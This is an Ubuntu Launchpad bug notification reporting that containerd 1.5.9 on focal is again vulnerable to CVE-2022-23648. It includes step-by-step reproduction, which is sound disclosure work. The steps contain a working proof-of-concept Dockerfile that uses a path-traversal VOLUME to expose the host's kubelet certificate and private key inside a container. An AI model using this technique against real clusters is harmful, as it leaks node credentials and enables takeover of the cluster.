** Description changed: Hi, CVE-2022-23648 allows leaking files on the host inside containers given an attacker crafted image if you use containerd's CRI implementation (e.g. Kubernetes). Ubuntu fixed this in `1.5.5-0ubuntu3~20.04.2` on focal, as noted in [this security advisory](https://ubuntu.com/security/CVE-2022-23648) on March 2nd. However, the latest package version for focal is `1.5.9-0ubuntu1~20.04.1`, published on [April 27th](https://www.ubuntuupdates.org/package/core/focal/main/updates/containerd), and I just reproduced the vulnerability on this version. Upstream containerd fixed this issue in 1.5.10. This also exists on the latest official Ubuntu EKS AMI (us-west-2 is `ami-05146f3491fd02c4b` for EKS 1.21). I think most folks on EKS might not be vulnerable unless they specify kubelet to use containerd's CRI rather than the default dockershim, but the package itself is still vulnerable given the right kubelet configuration. I reproduced the bug with the following steps: 1. Build the POC docker image with the following `Dockerfile`: ``` FROM debian:latest VOLUME /../../../../../../../../var/lib/kubelet/pki``` then tag it as `cve-2022-23648-test:1` and push to a registry of your choice 2. Launch the AMI we're testing (`ami-05146f3491fd02c4b` from May 6th), then ssh into node 3. To trick containerd into running, give it a dummy CNI (this is because I'm too lazy to spin up a full EKS cluster) ```cat <<EOF | sudo tee /etc/cni/net.d/10-dummy.conflist { "name": "dummy", "cniVersion": "0.4.0", "plugins": [ { "type": "ptp", "mtu": 1460, "ipam": { "type": "host-local", "subnet": "192.168.123.0/24" } } ] } EOF``` then restart containerd via `sudo systemctl restart containerd` 4. Create the static pod so kubelet runs it ```sudo mkdir -p /etc/kubernetes/manifests && cat <<EOF | sudo tee /etc/kubernetes/manifests/pod.yaml apiVersion: v1 kind: Pod metadata: name: poctest spec: containers: - name: poctest image: <your-registry>/cve-2022-23648-test:1 command: ["/bin/bash", "-c", "--"] args: [ "while true; do sleep 30; done" ] EOF``` 5. Ask kubelet to pick up the static pod, and also ask it to use containerd's CRI and not dockershim ```sudo snap set kubelet-eks pod-manifest-path=/etc/kubernetes/manifests/ container-runtime=remote container-runtime-endpoint=unix:///var/run/containerd/containerd.sock sudo snap restart kubelet-eks``` 6. Wait for the container to come up. `sudo ctr -n [k8s.io](http://k8s.io) c ls` should show two containers: ```ubuntu@ip-10-4-32-200:~$ sudo ctr -n k8s.io c ls CONTAINER IMAGE RUNTIME 209d6f3ddf858df5bf7653dd54bf1f6f88210d6d99ccd3a6272666a553efb48b k8s.gcr.io/pause:3.5 io.containerd.runc.v2 - 319c6e9c5c053aac13fca3bd78f0016aac1b3507597b4c414c86c1686e33db53 infra.docker.zooxlabs.com/krong-cve-2022-23648-test:2 io.containerd.runc.v2``` + 319c6e9c5c053aac13fca3bd78f0016aac1b3507597b4c414c86c1686e33db53 <your-registry>/cve-2022-23648-test:1 io.containerd.runc.v2``` 7. Verify if /var/lib/kubelet/pki is empty by using runc to exec into the container (containerd does not have this functionality) ```ubuntu@ip-10-4-32-200:~$ sudo runc --root /run/containerd/runc/k8s.io exec 319c6e9c5c053aac13fca3bd78f0016aac1b3507597b4c414c86c1686e33db53 ls -la /var/lib/kubelet/pki total 16 drwxr-xr-x 2 root root 4096 May 11 05:09 . drwxr-xr-x 3 root root 4096 May 11 05:09 .. -rw-r--r-- 1 root root 2291 May 11 05:02 kubelet.crt -rw------- 1 root root 1675 May 11 05:02 kubelet.key``` If the files are there, then it's vulnerable. Thanks, Kevin R
-- You received this bug notification because you are a member of Ubuntu Bugs, which is subscribed to Ubuntu. https://bugs.launchpad.net/bugs/1973054 Title: containerd regression for CVE-2022-23648 in latest version 1.5.9-0ubuntu1~20.04.1 To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/containerd/+bug/1973054/+subscriptions -- ubuntu-bugs mailing list ubuntu-bugs@lists.ubuntu.com https://lists.ubuntu.com/mailman/listinfo/ubuntu-bugs
